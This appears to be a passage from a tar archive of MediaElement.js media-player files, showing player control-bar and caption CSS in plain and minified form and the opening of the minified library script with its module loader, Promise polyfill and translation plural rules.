rgba(0, 0, 0, 0.35)); } .mejs-button, .mejs-time, .mejs-time-rail { font-size: 10px; height: 40px; line-height: 10px; margin: 0; width: 32px; } .mejs-button > button { background: transparent url('mejs-controls.svg'); border: 0; cursor: pointer; display: block; font-size: 0; height: 20px; line-height: 0; margin: 10px 6px; overflow: hidden; padding: 0; position: absolute; text-decoration: none; width: 20px; } /* :focus for accessibility */ .mejs-button > button:focus { outline: dotted 1px #999; } .mejs-container-keyboard-inactive a, .mejs-container-keyboard-inactive a:focus, .mejs-container-keyboard-inactive button, .mejs-container-keyboard-inactive button:focus, .mejs-container-keyboard-inactive [role=slider], .mejs-container-keyboard-inactive [role=slider]:focus { outline: 0; } /* End: CONTROL BAR */ /* Start: Time (Current / Duration) */ .mejs-time { box-sizing: content-box; color: #fff; font-size: 11px; font-weight: bold; height: 24px; overflow: hidden; padding: 16px 6px 0; text-align: center; width: auto; } /* End: Time (Current / Duration) */ /* Start: Play/Pause/Stop */ .mejs-play > button { background-position: 0 0; } .mejs-pause > button { background-position: -20px 0; } .mejs-replay > button { background-position: -160px 0; } /* End: Play/Pause/Stop */ /* Start: Progress Bar */ .mejs-time-rail { direction: ltr; -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; height: 40px; margin: 0 10px; padding-top: 10px; position: relative; } .mejs-time-total, .mejs-time-buffering, .mejs-time-loaded, .mejs-time-current, .mejs-time-float, .mejs-time-hovered, .mejs-time-float-current, .mejs-time-float-corner, .mejs-time-marker { border-radius: 2px; cursor: pointer; display: block; height: 10px; position: absolute; } .mejs-time-total { background: rgba(255, 255, 255, 0.3); margin: 5px 0 0; width: 100%; } .mejs-time-buffering { -webkit-animation: buffering-stripes 2s linear infinite; animation: buffering-stripes 2s linear infinite; background: -webkit-linear-gradient(135deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background: linear-gradient(-45deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background-size: 15px 15px; width: 100%; } @-webkit-keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } @keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } .mejs-time-loaded { background: rgba(255, 255, 255, 0.3); } .mejs-time-current, .mejs-time-handle-content { background: rgba(255, 255, 255, 0.9); } .mejs-time-hovered { background: rgba(255, 255, 255, 0.5); z-index: 10; } .mejs-time-hovered.negative { background: rgba(0, 0, 0, 0.2); } .mejs-time-current, .mejs-time-buffering, .mejs-time-loaded, .mejs-time-hovered { left: 0; -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: 0.15s ease-in all; transition: 0.15s ease-in all; width: 100%; } .mejs-time-buffering { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } .mejs-time-hovered { -webkit-transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); } .mejs-time-hovered.no-hover { -webkit-transform: scaleX(0) !important; -ms-transform: scaleX(0) !important; transform: scaleX(0) !important; } .mejs-time-handle, .mejs-time-handle-content { border: 4px solid transparent; cursor: pointer; left: 0; position: absolute; -webkit-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); z-index: 11; } .mejs-time-handle-content { border: 4px solid rgba(255, 255, 255, 0.9); border-radius: 50%; height: 10px; left: -7px; top: -4px; -webkit-transform: scale(0); -ms-transform: scale(0); transform: scale(0); width: 10px; } .mejs-time-rail:hover .mejs-time-handle-content, .mejs-time-rail .mejs-time-handle-content:focus, .mejs-time-rail .mejs-time-handle-content:active { -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } .mejs-time-float { background: #eee; border: solid 1px #333; bottom: 100%; color: #111; display: none; height: 17px; margin-bottom: 9px; position: absolute; text-align: center; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 36px; } .mejs-time-float-current { display: block; left: 0; margin: 2px; text-align: center; width: 30px; } .mejs-time-float-corner { border: solid 5px #eee; border-color: #eee transparent transparent; border-radius: 0; display: block; height: 0; left: 50%; line-height: 0; position: absolute; top: 100%; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 0; } .mejs-long-video .mejs-time-float { margin-left: -23px; width: 64px; } .mejs-long-video .mejs-time-float-current { width: 60px; } .mejs-broadcast { color: #fff; height: 10px; position: absolute; top: 15px; width: 100%; } /* End: Progress Bar */ /* Start: Fullscreen */ .mejs-fullscreen-button > button { background-position: -80px 0; } .mejs-unfullscreen > button { background-position: -100px 0; } /* End: Fullscreen */ /* Start: Mute/Volume */ .mejs-mute > button { background-position: -60px 0; } .mejs-unmute > button { background-position: -40px 0; } .mejs-volume-button { position: relative; } .mejs-volume-button > .mejs-volume-slider { -webkit-backface-visibility: hidden; background: rgba(50, 50, 50, 0.7); border-radius: 0; bottom: 100%; display: none; height: 115px; left: 50%; margin: 0; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 25px; z-index: 1; } .mejs-volume-button:hover { border-radius: 0 0 4px 4px; } .mejs-volume-total { background: rgba(255, 255, 255, 0.5); height: 100px; left: 50%; margin: 0; position: absolute; top: 8px; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 2px; } .mejs-volume-current { background: rgba(255, 255, 255, 0.9); left: 0; margin: 0; position: absolute; width: 100%; } .mejs-volume-handle { background: rgba(255, 255, 255, 0.9); border-radius: 1px; cursor: ns-resize; height: 6px; left: 50%; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 16px; } .mejs-horizontal-volume-slider { display: block; height: 36px; position: relative; vertical-align: middle; width: 56px; } .mejs-horizontal-volume-total { background: rgba(50, 50, 50, 0.8); border-radius: 2px; font-size: 1px; height: 8px; left: 0; margin: 0; padding: 0; position: absolute; top: 16px; width: 50px; } .mejs-horizontal-volume-current { background: rgba(255, 255, 255, 0.8); border-radius: 2px; font-size: 1px; height: 100%; left: 0; margin: 0; padding: 0; position: absolute; top: 0; width: 100%; } .mejs-horizontal-volume-handle { display: none; } /* End: Mute/Volume */ /* Start: Track (Captions and Chapters) */ .mejs-captions-button, .mejs-chapters-button { position: relative; } .mejs-captions-button > button { background-position: -140px 0; } .mejs-chapters-button > button { background-position: -180px 0; } .mejs-captions-button > .mejs-captions-selector, .mejs-chapters-button > .mejs-chapters-selector { background: rgba(50, 50, 50, 0.7); border: solid 1px transparent; border-radius: 0; bottom: 100%; margin-right: -43px; overflow: hidden; padding: 0; position: absolute; right: 50%; visibility: visible; width: 86px; } .mejs-chapters-button > .mejs-chapters-selector { margin-right: -55px; width: 110px; } .mejs-captions-selector-list, .mejs-chapters-selector-list { list-style-type: none !important; margin: 0; overflow: hidden; padding: 0; } .mejs-captions-selector-list-item, .mejs-chapters-selector-list-item { color: #fff; cursor: pointer; display: block; list-style-type: none !important; margin: 0 0 6px; overflow: hidden; padding: 0; } .mejs-captions-selector-list-item:hover, .mejs-chapters-selector-list-item:hover { background-color: rgb(200, 200, 200) !important; background-color: rgba(255, 255, 255, 0.4) !important; } .mejs-captions-selector-input, .mejs-chapters-selector-input { clear: both; float: left; left: -1000px; margin: 3px 3px 0 5px; position: absolute; } .mejs-captions-selector-label, .mejs-chapters-selector-label { cursor: pointer; float: left; font-size: 10px; line-height: 15px; padding: 4px 10px 0; width: 100%; } .mejs-captions-selected, .mejs-chapters-selected { color: rgba(33, 248, 248, 1); } .mejs-captions-translations { font-size: 10px; margin: 0 0 5px; } .mejs-captions-layer { bottom: 0; color: #fff; font-size: 16px; left: 0; line-height: 20px; position: absolute; text-align: center; } .mejs-captions-layer a { color: #fff; text-decoration: underline; } .mejs-captions-layer[lang=ar] { font-size: 20px; font-weight: normal; } .mejs-captions-position { bottom: 15px; left: 0; position: absolute; width: 100%; } .mejs-captions-position-hover { bottom: 35px; } .mejs-captions-text, .mejs-captions-text * { background: rgba(20, 20, 20, 0.5); box-shadow: 5px 0 0 rgba(20, 20, 20, 0.5), -5px 0 0 rgba(20, 20, 20, 0.5); padding: 0; white-space: pre-wrap; } .mejs-container.mejs-hide-cues video::-webkit-media-text-track-container { display: none; } /* End: Track (Captions and Chapters) */ /* Start: Error */ .mejs-overlay-error { position: relative; } .mejs-overlay-error > img { left: 0; max-width: 100%; position: absolute; top: 0; z-index: -1; } .mejs-cannotplay, .mejs-cannotplay a { color: #fff; font-size: 0.8em; } .mejs-cannotplay { position: relative; } .mejs-cannotplay p, .mejs-cannotplay a { display: inline-block; padding: 0 15px; width: 100%; } /* End: Error */ mediaelement/mediaelementplayer-legacy.min.css 0000644 00000025770 15111757753 0015630 0 ustar 00 .mejs-offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs-container{background:#000;font-family:Helvetica,Arial,serif;position:relative;text-align:left;text-indent:0;vertical-align:top}.mejs-container,.mejs-container *{box-sizing:border-box}.mejs-container video::-webkit-media-controls,.mejs-container video::-webkit-media-controls-panel,.mejs-container video::-webkit-media-controls-panel-container,.mejs-container video::-webkit-media-controls-start-playback-button{-webkit-appearance:none;display:none!important}.mejs-fill-container,.mejs-fill-container .mejs-container{height:100%;width:100%}.mejs-fill-container{background:transparent;margin:0 auto;overflow:hidden;position:relative}.mejs-container:focus{outline:none}.mejs-iframe-overlay{height:100%;position:absolute;width:100%}.mejs-embed,.mejs-embed body{background:#000;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.mejs-fullscreen{overflow:hidden!important}.mejs-container-fullscreen{bottom:0;left:0;overflow:hidden;position:fixed;right:0;top:0;z-index:1000}.mejs-container-fullscreen .mejs-mediaelement,.mejs-container-fullscreen video{height:100%!important;width:100%!important}.mejs-background,.mejs-mediaelement{left:0;position:absolute;top:0}.mejs-mediaelement{height:100%;width:100%;z-index:0}.mejs-poster{background-position:50% 50%;background-repeat:no-repeat;background-size:cover;left:0;position:absolute;top:0;z-index:1}:root .mejs-poster-img{display:none}.mejs-poster-img{border:0;padding:0}.mejs-overlay{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;left:0;position:absolute;top:0}.mejs-layer{z-index:1}.mejs-overlay-play{cursor:pointer}.mejs-overlay-button{background:url(mejs-controls.svg) no-repeat;background-position:0 -39px;height:80px;width:80px}.mejs-overlay:hover>.mejs-overlay-button{background-position:-80px -39px}.mejs-overlay-loading{height:80px;width:80px}.mejs-overlay-loading-bg-img{-webkit-animation:a 1s linear infinite;animation:a 1s linear infinite;background:transparent url(mejs-controls.svg) -160px -40px no-repeat;display:block;height:80px;width:80px;z-index:1}@-webkit-keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.mejs-controls{bottom:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:40px;left:0;list-style-type:none;margin:0;padding:0 10px;position:absolute;width:100%;z-index:3}.mejs-controls:not([style*="display: none"]){background:rgba(255,0,0,.7);background:-webkit-linear-gradient(transparent,rgba(0,0,0,.35));background:linear-gradient(transparent,rgba(0,0,0,.35))}.mejs-button,.mejs-time,.mejs-time-rail{font-size:10px;height:40px;line-height:10px;margin:0;width:32px}.mejs-button>button{background:transparent url(mejs-controls.svg);border:0;cursor:pointer;display:block;font-size:0;height:20px;line-height:0;margin:10px 6px;overflow:hidden;padding:0;position:absolute;text-decoration:none;width:20px}.mejs-button>button:focus{outline:1px dotted #999}.mejs-container-keyboard-inactive [role=slider],.mejs-container-keyboard-inactive [role=slider]:focus,.mejs-container-keyboard-inactive a,.mejs-container-keyboard-inactive a:focus,.mejs-container-keyboard-inactive button,.mejs-container-keyboard-inactive button:focus{outline:0}.mejs-time{box-sizing:content-box;color:#fff;font-size:11px;font-weight:700;height:24px;overflow:hidden;padding:16px 6px 0;text-align:center;width:auto}.mejs-play>button{background-position:0 0}.mejs-pause>button{background-position:-20px 0}.mejs-replay>button{background-position:-160px 0}.mejs-time-rail{direction:ltr;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;height:40px;margin:0 10px;padding-top:10px;position:relative}.mejs-time-buffering,.mejs-time-current,.mejs-time-float,.mejs-time-float-corner,.mejs-time-float-current,.mejs-time-hovered,.mejs-time-loaded,.mejs-time-marker,.mejs-time-total{border-radius:2px;cursor:pointer;display:block;height:10px;position:absolute}.mejs-time-total{background:hsla(0,0%,100%,.3);margin:5px 0 0;width:100%}.mejs-time-buffering{-webkit-animation:b 2s linear infinite;animation:b 2s linear infinite;background:-webkit-linear-gradient(135deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background:linear-gradient(-45deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background-size:15px 15px;width:100%}@-webkit-keyframes b{0%{background-position:0 0}to{background-position:30px 0}}@keyframes b{0%{background-position:0 0}to{background-position:30px 0}}.mejs-time-loaded{background:hsla(0,0%,100%,.3)}.mejs-time-current,.mejs-time-handle-content{background:hsla(0,0%,100%,.9)}.mejs-time-hovered{background:hsla(0,0%,100%,.5);z-index:10}.mejs-time-hovered.negative{background:rgba(0,0,0,.2)}.mejs-time-buffering,.mejs-time-current,.mejs-time-hovered,.mejs-time-loaded{left:0;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:all .15s ease-in;transition:all .15s ease-in;width:100%}.mejs-time-buffering{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1)}.mejs-time-hovered{-webkit-transition:height .1s cubic-bezier(.44,0,1,1);transition:height .1s cubic-bezier(.44,0,1,1)}.mejs-time-hovered.no-hover{-webkit-transform:scaleX(0)!important;-ms-transform:scaleX(0)!important;transform:scaleX(0)!important}.mejs-time-handle,.mejs-time-handle-content{border:4px solid transparent;cursor:pointer;left:0;position:absolute;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);z-index:11}.mejs-time-handle-content{border:4px solid hsla(0,0%,100%,.9);border-radius:50%;height:10px;left:-7px;top:-4px;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);width:10px}.mejs-time-rail .mejs-time-handle-content:active,.mejs-time-rail .mejs-time-handle-content:focus,.mejs-time-rail:hover .mejs-time-handle-content{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.mejs-time-float{background:#eee;border:1px solid #333;bottom:100%;color:#111;display:none;height:17px;margin-bottom:9px;position:absolute;text-align:center;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:36px}.mejs-time-float-current{display:block;left:0;margin:2px;text-align:center;width:30px}.mejs-time-float-corner{border:5px solid #eee;border-color:#eee transparent transparent;border-radius:0;display:block;height:0;left:50%;line-height:0;position:absolute;top:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:0}.mejs-long-video .mejs-time-float{margin-left:-23px;width:64px}.mejs-long-video .mejs-time-float-current{width:60px}.mejs-broadcast{color:#fff;height:10px;position:absolute;top:15px;width:100%}.mejs-fullscreen-button>button{background-position:-80px 0}.mejs-unfullscreen>button{background-position:-100px 0}.mejs-mute>button{background-position:-60px 0}.mejs-unmute>button{background-position:-40px 0}.mejs-volume-button{position:relative}.mejs-volume-button>.mejs-volume-slider{-webkit-backface-visibility:hidden;background:rgba(50,50,50,.7);border-radius:0;bottom:100%;display:none;height:115px;left:50%;margin:0;position:absolute;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:25px;z-index:1}.mejs-volume-button:hover{border-radius:0 0 4px 4px}.mejs-volume-total{background:hsla(0,0%,100%,.5);height:100px;left:50%;margin:0;position:absolute;top:8px;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:2px}.mejs-volume-current{left:0;margin:0;width:100%}.mejs-volume-current,.mejs-volume-handle{background:hsla(0,0%,100%,.9);position:absolute}.mejs-volume-handle{border-radius:1px;cursor:ns-resize;height:6px;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:16px}.mejs-horizontal-volume-slider{display:block;height:36px;position:relative;vertical-align:middle;width:56px}.mejs-horizontal-volume-total{background:rgba(50,50,50,.8);height:8px;top:16px;width:50px}.mejs-horizontal-volume-current,.mejs-horizontal-volume-total{border-radius:2px;font-size:1px;left:0;margin:0;padding:0;position:absolute}.mejs-horizontal-volume-current{background:hsla(0,0%,100%,.8);height:100%;top:0;width:100%}.mejs-horizontal-volume-handle{display:none}.mejs-captions-button,.mejs-chapters-button{position:relative}.mejs-captions-button>button{background-position:-140px 0}.mejs-chapters-button>button{background-position:-180px 0}.mejs-captions-button>.mejs-captions-selector,.mejs-chapters-button>.mejs-chapters-selector{background:rgba(50,50,50,.7);border:1px solid transparent;border-radius:0;bottom:100%;margin-right:-43px;overflow:hidden;padding:0;position:absolute;right:50%;visibility:visible;width:86px}.mejs-chapters-button>.mejs-chapters-selector{margin-right:-55px;width:110px}.mejs-captions-selector-list,.mejs-chapters-selector-list{list-style-type:none!important;margin:0;overflow:hidden;padding:0}.mejs-captions-selector-list-item,.mejs-chapters-selector-list-item{color:#fff;cursor:pointer;display:block;list-style-type:none!important;margin:0 0 6px;overflow:hidden;padding:0}.mejs-captions-selector-list-item:hover,.mejs-chapters-selector-list-item:hover{background-color:#c8c8c8!important;background-color:hsla(0,0%,100%,.4)!important}.mejs-captions-selector-input,.mejs-chapters-selector-input{clear:both;float:left;left:-1000px;margin:3px 3px 0 5px;position:absolute}.mejs-captions-selector-label,.mejs-chapters-selector-label{cursor:pointer;float:left;font-size:10px;line-height:15px;padding:4px 10px 0;width:100%}.mejs-captions-selected,.mejs-chapters-selected{color:#21f8f8}.mejs-captions-translations{font-size:10px;margin:0 0 5px}.mejs-captions-layer{bottom:0;color:#fff;font-size:16px;left:0;line-height:20px;position:absolute;text-align:center}.mejs-captions-layer a{color:#fff;text-decoration:underline}.mejs-captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs-captions-position{bottom:15px;left:0;position:absolute;width:100%}.mejs-captions-position-hover{bottom:35px}.mejs-captions-text,.mejs-captions-text *{background:hsla(0,0%,8%,.5);box-shadow:5px 0 0 hsla(0,0%,8%,.5),-5px 0 0 hsla(0,0%,8%,.5);padding:0;white-space:pre-wrap}.mejs-container.mejs-hide-cues video::-webkit-media-text-track-container{display:none}.mejs-overlay-error{position:relative}.mejs-overlay-error>img{left:0;max-width:100%;position:absolute;top:0;z-index:-1}.mejs-cannotplay,.mejs-cannotplay a{color:#fff;font-size:.8em}.mejs-cannotplay{position:relative}.mejs-cannotplay a,.mejs-cannotplay p{display:inline-block;padding:0 15px;width:100%} mediaelement/mediaelement.min.js 0000644 00000205326 15111757753 0012772 0 ustar 00 /*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */ !function i(o,l,s){function d(n,e){if(!l[n]){if(!o[n]){var t="function"==typeof require&&require;if(!e&&t)return t(n,!0);if(u)return u(n,!0);var r=new Error("Cannot find module '"+n+"'");throw r.code="MODULE_NOT_FOUND",r}var a=l[n]={exports:{}};o[n][0].call(a.exports,function(e){var t=o[n][1][e];return d(t||e)},a,a.exports,i,o,l,s)}return l[n].exports}for(var u="function"==typeof require&&require,e=0;e<s.length;e++)d(s[e]);return d}({1:[function(e,t,n){},{}],2:[function(a,i,e){(function(e){var t,n=void 0!==e?e:"undefined"!=typeof window?window:{},r=a(1);"undefined"!=typeof document?t=document:(t=n["__GLOBAL_DOCUMENT_CACHE@4"])||(t=n["__GLOBAL_DOCUMENT_CACHE@4"]=r),i.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{1:1}],3:[function(e,n,t){(function(e){var t;t="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},n.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],4:[function(e,n,t){!function(e){var t=setTimeout;function r(){}function i(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],d(e,this)}function a(n,r){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,i._immediateFn(function(){var e=1===n._state?r.onFulfilled:r.onRejected;if(null!==e){var t;try{t=e(n._value)}catch(e){return void l(r.promise,e)}o(r.promise,t)}else(1===n._state?o:l)(r.promise,n._value)})):n._deferreds.push(r)}function o(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof i)return t._state=3,t._value=e,void s(t);if("function"==typeof n)return void d((r=n,a=e,function(){r.apply(a,arguments)}),t)}t._state=1,t._value=e,s(t)}catch(e){l(t,e)}var r,a}function l(e,t){e._state=2,e._value=t,s(e)}function s(e){2===e._state&&0===e._deferreds.length&&i._immediateFn(function(){e._handled||i._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)a(e,e._deferreds[t]);e._deferreds=null}function d(e,t){var n=!1;try{e(function(e){n||(n=!0,o(t,e))},function(e){n||(n=!0,l(t,e))})}catch(e){if(n)return;n=!0,l(t,e)}}i.prototype.catch=function(e){return this.then(null,e)},i.prototype.then=function(e,t){var n=new this.constructor(r);return a(this,new function(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}(e,t,n)),n},i.all=function(e){var l=Array.prototype.slice.call(e);return new i(function(r,a){if(0===l.length)return r([]);var i=l.length;function o(t,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if("function"==typeof n)return void n.call(e,function(e){o(t,e)},a)}l[t]=e,0==--i&&r(l)}catch(e){a(e)}}for(var e=0;e<l.length;e++)o(e,l[e])})},i.resolve=function(t){return t&&"object"==typeof t&&t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(a){return new i(function(e,t){for(var n=0,r=a.length;n<r;n++)a[n].then(e,t)})},i._immediateFn="function"==typeof setImmediate&&function(e){setImmediate(e)}||function(e){t(e,0)},i._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},i._setImmediateFn=function(e){i._immediateFn=e},i._setUnhandledRejectionFn=function(e){i._unhandledRejectionFn=e},void 0!==n&&n.exports?n.exports=i:e.Promise||(e.Promise=i)}(this)},{}],5:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var r,o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=e(7),i=(r=a)&&r.__esModule?r:{default:r},l=e(9),s=e(18);var d={lang:"en",en:l.EN,language:function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];if(null!=t&&t.length){if("string"!=typeof t[0])throw new TypeError("Language code must be a string value");if(!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(t[0]))throw new TypeError("Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters");d.lang=t[0],void 0===d[t[0]]?(t[1]=null!==t[1]&&void 0!==t[1]&&"object"===o(t[1])?t[1]:{},d[t[0]]=(0,s.isObjectEmpty)(t[1])?l.EN:t[1]):null!==t[1]&&void 0!==t[1]&&"object"===o(t[1])&&(d[t[0]]=t[1])}return d.lang},t:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:null;if("string"==typeof e&&e.length){var n=void 0,r=void 0,a=d.language(),i=function(e,t,n){return"object"!==(void 0===e?"undefined":o(e))||"number"!=typeof t||"number"!=typeof n?e:[function(){return arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 0===(arguments.length<=0?void 0:arguments[0])||1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:0!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])||11===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])||12===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||0<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<=4?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%100==1?arguments.length<=2?void 0:arguments[2]:(arguments.length<=0?void 0:arguments[0])%100==2?arguments.length<=3?void 0:arguments[3]:(arguments.length<=0?void 0:arguments[0])%100==3||(arguments.length<=0?void 0:arguments[0])%100==4?arguments.length<=4?void 0:arguments[4]:arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<7?arguments.length<=3?void 0:arguments[3]:6<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<11?arguments.length<=4?void 0:arguments[4]:arguments.length<=5?void 0:arguments[5]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:3<=(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<=10?arguments.length<=4?void 0:arguments[4]:11<=(arguments.length<=0?void 0:arguments[0])%100?arguments.length<=5?void 0:arguments[5]:arguments.length<=6?void 0:arguments[6]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||1<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<11?arguments.length<=2?void 0:arguments[2]:10<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return(arguments.length<=0?void 